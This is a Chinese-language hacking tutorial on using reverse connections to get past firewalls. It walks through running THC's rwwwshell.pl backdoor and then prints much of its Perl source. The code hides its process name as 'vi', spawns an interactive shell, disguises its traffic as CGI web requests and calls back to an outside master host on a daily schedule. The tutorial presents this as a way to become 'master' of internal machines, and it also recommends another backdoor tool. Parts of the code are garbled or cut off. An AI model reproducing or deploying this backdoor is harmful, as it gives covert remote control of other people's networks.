原文用大篇篇幅介绍了防火墙和应用网关的内容，以及一些控制内部主机的方法。其中的反向连接的方法值得借鉴。大家知道，现在的许多局域网都设置了防火墙，禁止外部主机访问内网，但却允许内部机器访问外部网络，反向连接正是利用这一点。传统的远程控制一般是被控端开放一端口，处于listening状态，等待主控端来连接，而反向连接则相反，主控端开放一端口，处于listening状态，等待被控端来连接，这样也就使防火墙失去作用。原文附带了一个perl编的程序rwwwshell.pl，我以这个程序来说明怎样利用反向连接控制内部主机。
首先修改rwwwshell.pl的一些配置，更改程序内$SERVER的地址，这个地址就是外部主机地址，还有$TIME的时间，此时间为到这个时候，内部主机开始连接外部主机。在外部主机上运行
c:\perl rwwwshell.pl
Welcome to the Reverse-WWW-Tunnel-Backdoor v1.4 by van Hauser / THC ...
Introduction: Wait for your SLAVE to connect, examine it\'s output and then
type in your commands to execute on SLAVE. You\'ll have to
wait min. the set $DELAY seconds before you get the output
and can execute the next stuff. Use ";" for multiple commands.
Trying to execute interactive commands may give you headache
so beware. Your SLAVE may hang until the daily connect try
(if set - otherwise you lost).
You also shouldn\'t try to view a binary data too ;-)
"echo bla file", "cat file
friends if you don\'t like using vi in a delayed line mode ;-)
To exit this program on any time without doing harm to either
MASTER or SLAVE just press Control-C.
Now have fun.
Waiting for connect ...
然后在内部主机上运行
[root@xxx.com]#perl rwwwshell.pl -slave
starting in slave mode
当到了$TIME时间时，你的外部主机上就可看到
[root@xxx.com]#
这时你就是这台内部主机的主人了。
用这个程序需注意，被控端也就是内部主机只能是Linux(UNIX未试过),在win2000下运行，当$TIME到时，主控端会报错，所以我想这个程序是为Linux编的，不过不要紧，至少我们学到了一种思路。
前几天，我在xfocus.org上发现一程序wollf，也具有反向连接功能,有兴趣的朋友不妨试一试，此程序功能很强大，但有一点遗憾，这个wollf会被最新的Norton AntiVirus查出。
附rwwwshell.pl
#!/usr/bin/perl
# Reverse-WWW-Tunnel-Backdoor v1.5
# (c) 1998 by van Hauser / [THC] - The Hacker's Choice
# Check out http://r3wt.base.org for updates
#
# GENERAL CONFIG (except for $MASK, everything must be the same
# for MASTER and SLAVE is this section!)
#
$CGI_PREFIX="/cgi-bin/order?";# should look like cgi. "?" as last char!
$MASK="vi";# for masking the program's process name
$PASSWORD="THC";# anything, nothing you have to rememeber
# (not a real "password" anyway)
#
# MASTER CONFIG (specific for the MASTER)
#
$LISTEN_PORT=8080;# on which port to listen (80 [needs root] or 8080)
$SERVER="192.168.0.188";# the host to run on (ip/dns) (the SLAVE needs this!)
#
# SLAVE CONFIG (specific for the SLAVE)
#
$SHELL="/bin/sh -i";# program to execute (e.g. /bin/sh)
$DELAY="3";# time to wait for output after your command(s)
$TIME="12:25";# time when to connect to the master (unset if now)
$DAILY="sure";# tries to connect once daily if set with something
$PROXY="";# set this with the Proxy if you must use one
$PROXY_PORT="";# set this with the Proxy Port if you must use one
# END OF CONFIG# nothing for you to do after this point #
################## BEGIN MAIN CODE ##################
require 5.002;
use Socket;
$│=1;# next line changes our process name
if ($MASK) { for ($a=1;$a
undef $DAILY if (! $TIME);
if ( !($PROXY) ││ !($PROXY_PORT) ) {
undef $PROXY;
undef $PROXY_PORT;
}
$protocol = getprotobyname('tcp');
if ($ARGV[0] ne "") {
if ($ARGV[0] eq "-h") {
print STDOUT "no commandline option : daemon mode\n";
print STDOUT "using \"-h\" as option : this help\n";
print STDOUT "any other option : slave mode\n";
exit(0);
} else {
print STDOUT "starting in slave mode\n";
$SLAVE_MODE = "yeah";
}
}
if (! $SLAVE_MODE) {
&master;
} else {
&slave;
}
# END OF MAIN FUNCTION
############### SLAVE FUNCTION ###############
sub slave {
$pid = 0;
if ($PROXY) {# setting the real config (for Proxy Support)
$REAL_SERVER = $PROXY;
$REAL_PORT = $PROXY_PORT;
$REAL_PREFIX = "GET http://" . $SERVER . ":" . $LISTEN_PORT
. $CGI_PREFIX;
} else {
$REAL_SERVER = $SERVER;
$REAL_PORT = $LISTEN_PORT;
$REAL_PREFIX = "GET " . $CGI_PREFIX;
}
AGAIN:if ($pid) { kill 9, $pid; }
if ($TIME) {# wait until the specified $TIME
$TIME =~ s/^0//;$TIME =~ s/:0/:/;
(undef,$min,$hour,undef,undef,undef,undef,undef,undef)
= localtime(time);
$t=$hour . ":" . $min;
while ($TIME ne $t) {
sleep(28); # every 28 seconds we look at the watch
(undef,$min,$hour,undef,undef,undef,undef,undef,undef)
= localtime(time);
$t=$hour . ":" .$min;
}
}
if ($DAILY) {# if we must connect daily, we
if (fork) {# we fork the daily shell process
sleep(69);# to ensure the master control proc.
goto AGAIN;# won't get stuck by a fucking cmd
}# the user executed.
}
$address = inet_aton($REAL_SERVER) ││ die "can't resolve server\n";
$remote = sockaddr_in($REAL_PORT, $address);
$forked = 0;
GO:close(THC);
socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
or die "can't create socket\n";
setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
if (! $forked) {# fork failed? fuck, let's try again
pipe R_IN, W_IN; select W_IN; $│=1;
pipe R_OUT, W_OUT; select W_OUT; $│=1;
$pid = fork;
if (! defined $pid) {
close THC;
close R_IN;close W_IN;
close R_OUT;close W_OUT;
goto GO;
}
$forked = 1;
}
if (! $pid) { # this is the child process (execs $SHELL)
close R_OUT;close W_IN;close THC;
open STDIN, "
open STDOUT, "&W_OUT";
open STDERR, "&W_OUT";
exec $SHELL ││ print W_OUT "couldn't spawn $SHELL\n";
close R_IN; close W_OUT;
exit(0);
} else { # this is the parent (data control + network)
close R_IN;
sleep($DELAY);# we wait $DELAY for the commands to complete
vec($rs, fileno(R_OUT), 1) = 1;
select($r = $rs, undef, undef, 30);
sleep(1);
$output = "";
vec($ws, fileno(W_OUT), 1) = 1;
while (select($w = $ws, undef, undef, 1)) {
read R_OUT, $readout, 1 ││ last;
$output = $output . $readout;
}
print W_OUT "\000" ││ goto END;
while (1) {
read R_OUT, $readout, 1 ││ last;
last if ($readout eq "\000");
$output = $output . $readout;
}
&uuencode;# does the encoding of the shell output
$encoded = $REAL_PREFIX . $encoded . "\n";
connect(THC, $remote) ││ goto END;# connect to master
send (THC, $encoded, 0) ││ goto END;# and send data
$input = "";
vec($rt, fileno(THC), 1) = 1; # wait until master sends reply
while (! select($r = $rt, undef, undef, 0.00001)) {}
while (1) {# read until EOD (End Of Data)
recv (THC, $readin, 1, 0) ││ goto OK;
goto OK if (($readin eq "\000") or ($readin eq "\n")
or ($readin eq ""));
$input = $input . $readin;
}
OK:$input =~ s/\n//gs;
